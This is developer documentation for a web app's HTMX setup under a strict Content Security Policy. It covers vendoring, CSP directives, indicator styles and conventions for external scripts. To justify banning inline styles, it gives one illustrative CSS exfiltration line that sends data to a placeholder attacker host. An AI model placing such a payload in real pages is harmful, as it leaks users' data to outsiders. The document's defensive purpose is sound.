Files
member-console/docs/htmx-setup.md
T
cgalo5758 94334c0e64 Document CSRF removal in favor of cross-origin checks
The server no longer uses CSRF tokens, relying instead on the origin
check in `internal/middleware/csrf.go`. Update all documentation, code
comments, error handling, and specs to reflect the new protection model
and remove the `csrf-secret` configuration key.
2026-09-21 14:35:35 -05:00

5.3 KiB

title, audience, summary
title audience summary
HTMX Setup
developer
How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials.

HTMX Setup

This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).

Overview

The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.

Version

HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v4.0.0; upgraded from v2.0.4 by the htmx-4 change, 2026-08-31). The migration is complete: no htmx-2-compat shim, no implicitInheritance flag, and lint fails htmx 2 residue (hx-disinherit, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark hx-boost:inherited; everything else declares its own attributes (see design-system.md §7). Requests carry no CSRF token; cross-origin protection is the server's origin check (internal/middleware/csrf.go).

Loading

HTMX is loaded via a <script defer> tag in the page templates (operator.html, index.html, products.html, billing.html). The defer attribute ensures it loads after the DOM is parsed.

CSP Configuration

The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.

Relevant CSP Directives

script-src 'self' https://unpkg.com/htmx.org@*
style-src  'self'
  • script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
  • style-src: Only allows styles from external .css files served by our origin. Inline <style> tags and element.style.* assignments are blocked.

Why No 'unsafe-inline'

Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.

HTMX + CSP Interaction

HTMX has two behaviors that conflict with a strict style-src 'self' policy:

1. Indicator Styles (Solved)

htmx 4 delivers its default .htmx-indicator CSS through Constructable Stylesheets rather than an injected inline <style> tag (which is what used to violate style-src 'self' in htmx 2). We still disable it so app.css remains the single source of indicator styling:

<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>

(The noSwap list is the error-response swap contract; see design-system.md §7.)

The equivalent indicator styles are provided in internal/embeds/static/app.css:

.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }

This gives us full control over indicator styling without any CSP violation.

2. Swap Transitions (Accepted)

htmx 4 animates swaps through the View Transitions API, which is disabled by default (htmx.config.transitions = false) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.

Why not 'unsafe-inline' for styles? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). Nothing in the current setup needs it.

External JavaScript

All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.

Current external scripts (a representative sample, not exhaustive; see internal/embeds/static/):

  • error-handler.js — HTMX error handling and toast notifications
  • confirm-action-modal.js — the shared confirm dialog every destructive action opens through (docs/design-system.md "Confirm modal")

When adding new interactive behavior to HTMX partials, follow this pattern:

  1. Create a new .js file in internal/embeds/static/
  2. Add a <script defer> tag to the relevant page template
  3. If the script manipulates elements inside HTMX partials, listen for htmx:after:swap (or use htmx.onLoad) to re-initialize after swaps; htmx 4 event names are colon-separated (htmx:phase:action)

Static Asset Authentication

Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:

  • Static assets are public resources (CSS, JS, images, icons)
  • Some browser fetches (e.g., <link rel="manifest">) use CORS mode with credentials: 'omit', meaning session cookies are not sent
  • Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow

External CSS

All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.